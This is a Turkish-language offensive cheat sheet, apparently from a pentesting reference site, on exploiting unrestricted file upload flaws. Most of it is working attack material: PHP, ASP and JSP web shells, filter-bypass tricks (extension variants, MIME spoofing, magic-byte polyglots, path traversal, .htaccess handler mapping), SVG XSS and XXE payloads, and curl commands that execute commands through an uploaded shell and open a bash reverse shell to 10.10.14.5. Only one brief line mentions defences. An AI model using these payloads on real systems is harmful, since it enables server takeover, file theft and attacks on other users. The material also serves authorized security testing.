Skip to content

Dosya Yükleme Zafiyetleri

OWASP · Unrestricted File Upload impact: yüksek (RCE)

Yükleme özelliği, dosya türünü/içeriğini/kaydedildiği yeri yeterince denetlemezse, saldırgan çalıştırılabilir bir dosya (web shell) yükleyip sunucuda kod çalıştırabilir. Etki; web köküne yazma + yorumlayıcı (PHP/ASP/JSP) veya dosyanın başka bir zafiyetle (LFI) dahil edilmesiyle ortaya çıkar.

<?php system($_GET['cmd']); ?>
<% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll()) %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Minimal / kısa varyantlar WAF imza kaçışı için tercih edilir:

<?=`$_GET[c]`?>
  1. Uzantı allow-list atlatma — alternatif çalıştırılabilir uzantılar: .phtml , .php5 , .php7 , .pht , .phar , .inc (Apache/PHP yapılandırmasına bağlı). Çift uzantı: shell.php.jpg , shell.php.png . Windows: shell.php. / shell.php (trailing dot/space). IIS: shell.asp;.jpg , shell.php::$DATA .

  2. MIME / Content-Type manipülasyonu — Burp ile Content-Type ’ı image/png veya image/jpeg yap; içerik PHP kalsın. Sunucu sadece istemci başlığına güveniyorsa geçer.

  3. Magic byte spoofing — dosyanın başına gerçek imza ekle: veya PNG/JPEG header + PHP. getimagesize() geçen ama include edilen senaryolarda polyglot işe yarar.

    GIF89a;
    <?php system($_GET['cmd']); ?>
  4. Path traversal ile yerleştirme — multipart filename alanında: Dosyayı web köküne veya CGI dizinine yazmayı dene.

    Content-Disposition: form-data; name="file"; filename="../../shell.php"
  5. .htaccess / web.config ile yorumlatma — Apache AllowOverride açıksa .htaccess yükle: IIS’te web.config ile handler eşlemesi (yazma izni varsa).

    AddType application/x-httpd-php .jpg
  6. Case / null / Unicode — shell.PhP , shell.php%00.jpg (eski), NTFS alternate data stream, Unicode normalization farkları.

HTML accept= ve JS doğrulaması güvenlik değildir — isteği proxy’den değiştirmek yeterlidir. Sunucu tarafında allow-list + içerik + rastgele ad

  • yürütülemez dizin kombinasyonu gerekir (testte bunların hangisinin eksik olduğunu tek tek kır).
<!-- SVG XSS (stored) -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<!-- SVG / XML XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

Office Open XML (DOCX/XLSX) ve PDF upload’ları da XXE / SSRF tetikleyebilir.

.phar veya polyglot phar dosyası yüklenip phar:// ile erişilirse PHP object injection tetiklenebilir — Insecure Deserialization ile zincirle.

Terminal window
curl 'https://hedef/uploads/shell.php?cmd=id'
Terminal window
curl 'https://hedef/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.5/443%200%3E%261%27'

Yüklenen dosya çalışmıyorsa: LFI ile include et, veya yalnızca metadata/EXIF içinde saklanan XSS/payload’u başka kullanıcıya sun.